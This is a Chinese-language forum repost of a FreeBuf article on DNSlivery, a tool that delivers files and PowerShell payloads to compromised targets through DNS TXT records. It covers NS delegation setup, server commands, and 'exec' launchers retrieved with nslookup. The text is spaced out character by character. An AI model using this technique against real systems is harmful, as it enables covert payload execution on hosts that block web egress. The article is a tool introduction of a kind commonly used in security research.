搜索

[14607] 2019-09-20_DNSlivery：通过DNS发送文件和payload的工具

文档创建者：s7ckTeam
浏览次数：18
最后更新：2025-01-18
2019-09-20_DNSlivery：通过DNS发送文件和payload的工具 D N S l i v e r y ： 通 过 D N S 发 送 文 件 和 p a y l o a d 的 工 具 周 大 涛   F r e e B u f   2 0 1 9 - 0 9 - 2 0 前 言 前 言 D N S l i v e r y 是 一 款 使 用 是 一 款 使 用 D N S 作 为 传 输 协 议 将 文 件 传 递 到 目 标 的 工 具 。 作 为 传 输 协 议 将 文 件 传 递 到 目 标 的 工 具 。 特 点 特 点 1 . 执 行 或 上 传 文 件 到 目 标 机 器 2 . 目 标 上 的 不 需 要 任 何 客 户 端 3 . 不 需 要 完 整 的 D N S 服 务 器 它 可 以 轻 松 地 将 文 件 或 p a y l o a d 传 送 到 受 损 目 标 ， 不 需 要 使 用 传 统 的 W e b 传 输 ， 无 需 专 用 客 户 端 软 件 。 这 适 用 于 禁 止 传 出 W e b 流 量 的 受 限 环 境 。 虽 然 现 在 已 经 存 在 更 完 整 的 D N S 隧 道 工 具 （ 比 如   d n s c a t 2 和 i o d i n e ） ， 它 们 都 需 要 在 目 标 上 运 行 专 用 客 户 端 。 问 题 是 D N S 可 能 没 有 其 他 办 法 在 这 种 受 限 制 的 环 境 中 提 供 客 户 端 。 换 句 话 说 ， 使 用 这 些 工 具 构 建 D N S 通 信 通 道 需 要 已 具 有 D N S 通 信 通 道 。 相 比 之 下 ， D N S l i v e r y 仅 提 供 从 服 务 器 到 目 标 的 单 向 通 信 ， 但 不 需 要 任 何 专 用 客 户 端 来 执 行 此 操 作 。 因 此 ， 如 果 您 需 要 通 过 D N S 构 建 可 靠 的 双 向 通 信 通 道 ， 请 使 用 D N S l i v e r y 为 您 的 目 标 提 供 更 高 级 的 D N S 隧 道 工 具 的 客 户 端 。 它 是 如 何 工 作 的 ？ 它 是 如 何 工 作 的 ？ 与 大 多 数 D N S 隧 道 工 具 一 样 ， D N S l i v e r y 使 用 T X T 记 录 以 b a s e 6 4 表 示 形 式 存 储 文 件 内 容 。 但 是 ， 它 不 需 要 设 置 完 整 的 D N S 服 务 器 。 相 反 ， 它 使 用 s c a p y 库 来 侦 听 传 入 的 D N S 数 据 包 并 制 作 所 需 的 响 应 。 由 于 大 多 数 文 件 不 适 合 单 个 T X T 记 录 ， D N S l i v e r y 将 创 建 包 含 该 文 件 的 b a s e 6 4 块 的 多 个 有 序 记 录 ， 上 面 的 图 示 出 了 输 送 第 二 命 名 的 文 件 的 块 f i l e 。 为 了 检 索 所 有 b a s e 6 4 块 并 将 它 们 重 新 组 合 在 一 起 而 不 需 要 在 目 标 上 使 用 专 用 客 户 端 ， D N S l i v e r y 将 为 每 个 文 件 生 成 ： 1 . 一 个 明 文 发 送 器 2 . 一 个 b a s e 6 4 编 码 s t a g e r
需 要 这 两 个 阶 段 的 交 付 过 程 来 向 s t a g e r 添 加 功 能 （ 处 理 丢 失 的 D N S 响 应 ） ， 否 则 这 些 功 能 将 不 适 合 单 个 T X T 记 录 。 关 于 目 标 兼 容 性 的 注 意 关 于 目 标 兼 容 性 的 注 意 目 前 ， 仅 支 持 P o w e r S h e l l 目 标 。 但 是 ， 可 以 改 进 D N S l i v e r y 以 支 持 其 他 目 标 ， 例 如 b a s h 或 p y t h o n 。 如 果 这 是 您 希 望 实 现 的 功 能 ， 请 告 诉 我 @   n o 0 b e 。 要 求 要 求 D N S l i v e r y 不 需 要 构 建 复 杂 的 服 务 器 基 础 结 构 。 实 际 上 ， 只 有 两 个 简 单 的 要 求 ： 1 . 能 够 N S 在 您 的 公 共 D N S 区 域 中 创 建 记 录 2 . 拥 有 一 台 能 够 从 I n t e r n e t   接 收 流 量 的 L i n u x 服 务 器 , 开 放 u d p / 5 3 D N S 第 一 步 是 通 过 N S 在 域 中 创 建 新 记 录 ， 将 子 域 委 派 给 将 运 行 D N S l i v e r y 的 服 务 器 。 作 为 示 例 ， 我 创 建 了 以 下 记 录 以 将 子 域 委 托 d n s d . n o 0 . b e 给 服 务 器 v p s . n o 0 . b e 。 如 果 您 的 区 域 由 第 三 方 提 供 商 管 理 ， 请 参 阅 其 文 档 以 创 建 N S 记 录 。 D N S l i v e r y 运 行 D N S l i v e r y 的 唯 一 要 求 是 p y t h o n 3 它 的 s c a p y 库 。 用 法 用 法 服 务 器 服 务 器 D N S l i v e r y 将 为 给 定 目 录 的 所 有 文 件 提 供 服 务 （ p w d 默 认 情 况 下 ） ， 并 且 需 要 以 r o o t 权 限 运 行 s 以 侦 听 传 入 的 u d p / 5 3 数 据 包 。 示 例 ： 关 于 文 件 名 规 范 化 的 注 意 关 于 文 件 名 规 范 化 的 注 意 由 于 允 许 域 名 的 字 符 集 比 U N I X 文 件 名 更 具 限 制 性 （ 根 据 R F C 1 0 3 5 ） ， D N S l i v e r y 将 在 需 要 时 执 行 规 范 化 。 示 例 ： 请 注 意 ， 当 前 的 规 范 化 代 码 并 不 完 美 ， 因 为 它 不 会 考 虑 重 叠 的 文 件 名 或 大 小 限 制 。 目 标 目 标 在 目 标 上 ， 首 先 通 过 请 求 其 专 用 记 录 来 检 索 所 需 文 件 的 启 动 器 T X T 。 支 持 以 下 三 个 启 动 器 ： 行 动 行 动 发 射 台 发 射 台 描 述 描 述 输 出 [ f i l e n a m e ] . p r i n t . [ d o m a i n ] （ 默 认 ） 将 传 送 的 文 件 打 印 到 控 制 台 执 行 [ f i l e n a m e ] . e x e c . [ d o m a i n ] 执 行 传 递 的 文 件 保 存 [ f i l e n a m e ] . s a v e . [ d o m a i n ] 将 传 递 的 文 件 保 存 到 磁 盘 然 后 ， 只 需 将 D N S 响 应 中 引 用 的 启 动 器 复 制 并 粘 贴 到 P o w e r S h e l l 控 制 台 即 可 检 索 目 标 上 的 文 件 。 示 例 ： d n s d         I N     N S   v p s . n o 0 . b e . g i t   c l o n e   h t t p s : / / g i t h u b . c o m / n o 0 b e / D N S l i v e r y . g i t   & &     C D   D N S l i v e r y p i p   i n s t a l l   - r   r e q u i r e m e n t s . t x t u s a g e :   d n s l i v e r y . p y   [ - h ]   [ - p   P A T H ]   [ - s   S I Z E ]   [ - v ]   i n t e r f a c e   d o m a i n   n a m e s e r v e r D N S l i v e r y   -   E a s y   f i l e s   a n d   p a y l o a d s   d e l i v e r y   o v e r   D N S p o s i t i o n a l   a r g u m e n t s :     i n t e r f a c e                           i n t e r f a c e   t o   l i s t e n   t o   D N S   t r a f f i c     d o m a i n                                 F Q D N   n a m e   $   s u d o   p y t h o n 3   d n s l i v e r y . p y   e t h 0   d n s d . n o 0 . b e   v p s . n o 0 . b e   - p   / t m p / d n s - d e l i v e r y D N S l i v e r y   -   E a s y   f i l e s   a n d   p a y l o a d s   d e l i v e r y   o v e r   D N S [ * ]   F i l e   " f i l e "   r e a d y   f o r   d e l i v e r y   a t   f i l e . d n s d . n o [ * ]   F i l e   " M y   A w e s o m e   P o w e r s h e l l   S c r i p t   ; ) . p s 1 "   r e a d y   f o r   d e l i v e r y   a t   m y - a w e s o m e - p o w e r s h e l l - s c r i p t - - - - p s 1 . d n s d . n o 0 . b e   ( 1 8 9 1   c h u n k s ) n s l o o k u p   - t y p e   =   t x t   [ f i l e n a m e ] . [ s t a g e r ] . [ d o m a i n ]
参 考 来 源 ： G i t H u b ， F B 小 编 周 大 涛 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理